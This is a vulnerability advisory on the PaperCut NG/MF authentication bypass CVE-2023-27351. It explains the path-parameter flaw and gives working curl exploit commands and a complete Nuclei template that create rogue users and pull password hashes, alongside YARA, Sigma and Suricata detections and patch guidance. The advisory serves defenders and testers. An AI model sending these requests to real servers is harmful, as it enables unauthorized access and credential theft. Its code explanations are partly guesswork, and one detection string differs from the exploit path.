CVE-2023-27351

Executive Summary

CVE-2023-27351 is a critical authentication bypass vulnerability in PaperCut NG and PaperCut MF print management software, specifically in versions prior to 22.0.5 (Build 63914). The flaw resides in the SecurityRequestFilter class, which improperly implements the authentication algorithm. An unauthenticated, remote attacker can exploit this vulnerability to bypass authentication entirely, gaining unauthorized access to the system. The vulnerability was disclosed by Trend Micro's Zero Day Initiative (ZDI-23-232) and has a CVSS score of 8.2 (High) under the CVSS:3.0 vector, though the NVD score is 7.5 (High). Public proof-of-concept (PoC) code exists in the form of a Nuclei template, and exploitation is straightforward via crafted HTTP requests. The EPSS score is 0.86957 (99.4th percentile), indicating active exploitation in the wild. Immediate patching is strongly recommended.

CVSS Breakdown & Threat Level

Deep Dive & Mechanics

The vulnerability is an authentication bypass in the SecurityRequestFilter class of PaperCut NG/MF. The flaw stems from improper implementation of the authentication algorithm, specifically how the application handles HTTP request path normalization and endpoint routing. The application uses a servlet filter to enforce authentication on certain API endpoints. However, due to a path traversal or URL normalization issue, an attacker can append a path segment like ;/keepalive to a sensitive API endpoint (e.g., /rpc/api/rest/master/user/createInternalUser). The SecurityRequestFilter fails to correctly parse the path, treating the request as if it were accessing the keepalive endpoint (which does not require authentication), while the actual request is processed by the intended API handler. This allows an unauthenticated attacker to execute privileged operations, such as creating internal users or exporting user data.

The attack flow:

1. The attacker sends a POST request to /rpc/api/rest/master/user/createInternalUser;/keepalive with a JSON body containing a new username and password.
2. The SecurityRequestFilter sees the path as /keepalive (due to the semicolon acting as a path delimiter) and allows the request without authentication.
3. The underlying API handler processes the full path, creating a new internal user with the supplied credentials.
4. The attacker then logs in as the newly created user, gaining authenticated access to the system.

This bypass can also be used to enumerate or export existing user data via the getExportedUser endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (PaperCut NG/MF < 22.0.5 Build 63914): The SecurityRequestFilter class uses a simple string check or regex to determine if the request path requires authentication. It does not properly handle URL path parameters (semicolons) or path normalization. For example:

// Vulnerable pseudocode
String path = request.getRequestURI();
if (path.startsWith("/rpc/api/rest/master/user/")) {
    // Require authentication
} else {
    // Allow
}

This fails when the path is /rpc/api/rest/master/user/createInternalUser;/keepalive because the startsWith check may not match, or the filter sees only the part after the semicolon.

Patched Code (PaperCut NG/MF >= 22.0.5 Build 63914): The vendor fixed the issue by properly normalizing the request path before performing authentication checks. The patched code likely uses request.getServletPath() or a similar method that strips path parameters, or it explicitly rejects paths containing semicolons. For example:

// Patched pseudocode
String path = request.getServletPath(); // Returns normalized path without parameters
if (path.startsWith("/rpc/api/rest/master/user/")) {
    // Require authentication
} else {
    // Allow
}

Additionally, the vendor may have added input validation to reject requests with unexpected path parameters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running PaperCut NG/MF version < 22.0.5 Build 63914
• Network access to the PaperCut web interface (typically port 80 or 443)

Exploitation Steps:

1. Create a new internal user: Send a POST request to the vulnerable endpoint:

   curl -X POST "http://target:9191/rpc/api/rest/master/user/createInternalUser;/keepalive" \
     -H "Content-Type: application/json" \
     -d '{"username":["attacker"],"password":["P@ssw0rd!"]}'
   

   If successful, the response will contain a serialized Java object (starting with rO0A).

2. Verify user creation and export user data:

   curl -X POST "http://target:9191/rpc/api/rest/master/user/getExportedUser;/keepalive" \
     -H "Content-Type: application/json" \
     -d '{"username":["attacker"]}'
   

   The response will include the user's password hash (HASH: ...).

3. Login as the new user: Use the created credentials to log in to the PaperCut web interface and gain administrative access.

Nuclei Template (Provided): The following Nuclei template automates the exploitation:

id: CVE-2023-27351

info:
  name: PaperCut NG - Authentication Bypass
  author: daffainfo,jjcho
  severity: high
  description: |
    This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SecurityRequestFilter class. The issue results from improper implementation of the authentication algorithm. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-19226.
  impact: |
    Attackers can bypass authentication, gaining unauthorized access to the system and potentially executing malicious actions.
  remediation: |
    Update to the latest version of PaperCut NG that addresses this issue or apply the security patch provided by the vendor.
  reference:
    - https://www.papercut.com/kb/Main/PO-1216-and-PO-1219
    - https://www.zerodayinitiative.com/advisories/ZDI-23-232/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27351
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2023-27351
    epss-score: 0.86957
    epss-percentile: 0.99438
    cwe-id: CWE-287
    cpe: cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*,cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: papercut
    product: papercut_mf,papercut_ng
    shodan-query:
      - http.html:"PaperCut"
      - http.html:"papercut"
      - http.html:"content=\"papercut\""
      - cpe:"cpe:2.3:a:papercut:papercut_mf"
    fofa-query:
      - body="papercut"
      - body="content=\"papercut\""
  tags: cve2023,cve,papercut,auth-bypass,vkev,kev

flow: http(1) && http(2)

variables:
  username: "{{randbase(8)}}"
  password: "{{randstr}}"

http:
  - raw:
      - |
        POST /rpc/api/rest/master/user/createInternalUser;/keepalive HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":["{{username}}"],"password":["{{password}}"]}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'rO0A')"
          - "contains(content_type, 'application/json')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        POST /rpc/api/rest/master/user/getExportedUser;/keepalive HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":["{{username}}"]}

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, 'java.lang.String', 'HASH:', '{{username}}')"
          - "contains(content_type, 'application/json')"
          - "status_code == 200"
        condition: and

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /rpc/api/rest/master/user/ endpoints that contain semicolons (;) or other path parameters.
• Alert on successful creation of new internal users via the API (look for createInternalUser in logs).
• Monitor for unusual login activity from newly created accounts.

Honeypot:

• Deploy a decoy PaperCut instance with logging enabled to capture exploitation attempts.

Lab Setup:

• Use a vulnerable version (e.g., PaperCut NG 22.0.4) in an isolated VM.
• Install and configure the application with default settings.
• Use curl or Nuclei to test the exploit.
• Monitor logs in /papercut/server/logs/ for suspicious activity.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2023_27351_PaperCut_AuthBypass {
    meta:
        description = "Detects exploitation attempts for CVE-2023-27351 PaperCut authentication bypass"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-27351"
        hash = "4a0a0047304502210093d26c622a6392bcccba90c75780fb0f2eccd4d2841e1774211b0b8e12fa8df3022011fb37fa44b3bd4865e5c104ce44bca512ce5f9a5871f84af2b92e429a609f5c"
    strings:
        $s1 = "/rpc/api/rest/master/user/createInternalUser" ascii wide nocase
        $s2 = "/rpc/api/rest/master/user/getExportedUser" ascii wide nocase
        $s3 = ";keepalive" ascii wide nocase
        $s4 = "rO0A" ascii wide
        $s5 = "HASH:" ascii wide
    condition:
        (any of ($s1, $s2) and $s3) or ($s4 and $s5)
}

Sigma Rule

title: CVE-2023-27351 PaperCut Authentication Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests exploiting CVE-2023-27351 to bypass authentication in PaperCut NG/MF
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27351
    - https://www.zerodayinitiative.com/advisories/ZDI-23-232/
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/rpc/api/rest/master/user/createInternalUser;/keepalive'
            - '/rpc/api/rest/master/user/getExportedUser;/keepalive'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare, requires authentication)
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2023.27351

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-27351 PaperCut Authentication Bypass Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/rpc/api/rest/master/user/"; http_uri; content:";/keepalive"; http_uri; pcre:"/\/rpc\/api\/rest\/master\/user\/(createInternalUser|getExportedUser);\/keepalive/Ui"; classtype:attempted-admin; reference:cve,2023-27351; reference:url,https://www.zerodayinitiative.com/advisories/ZDI-23-232/; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade PaperCut NG/MF to version 22.0.5 (Build 63914) or later. Download from the official PaperCut website.
2. Workaround: If patching is not immediately possible, restrict network access to the PaperCut web interface (ports 80/443 and 9191/9192) to trusted IPs only using a firewall or WAF.
3. Monitor: Enable detailed logging and monitor for exploitation attempts as described in the IOCs section.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block requests containing semicolons in the URI path.
• Regularly update all software to the latest versions.
• Conduct periodic security assessments and penetration testing.
• Follow the principle of least privilege for all user accounts.

Vendor Advisory:

• PaperCut KB: https://www.papercut.com/kb/Main/PO-1216-and-PO-1219
• ZDI Advisory: https://www.zerodayinitiative.com/advisories/ZDI-23-232/

Valters IT

{/* [Security Hash: FEF89F648FD738D452C60F4F] */}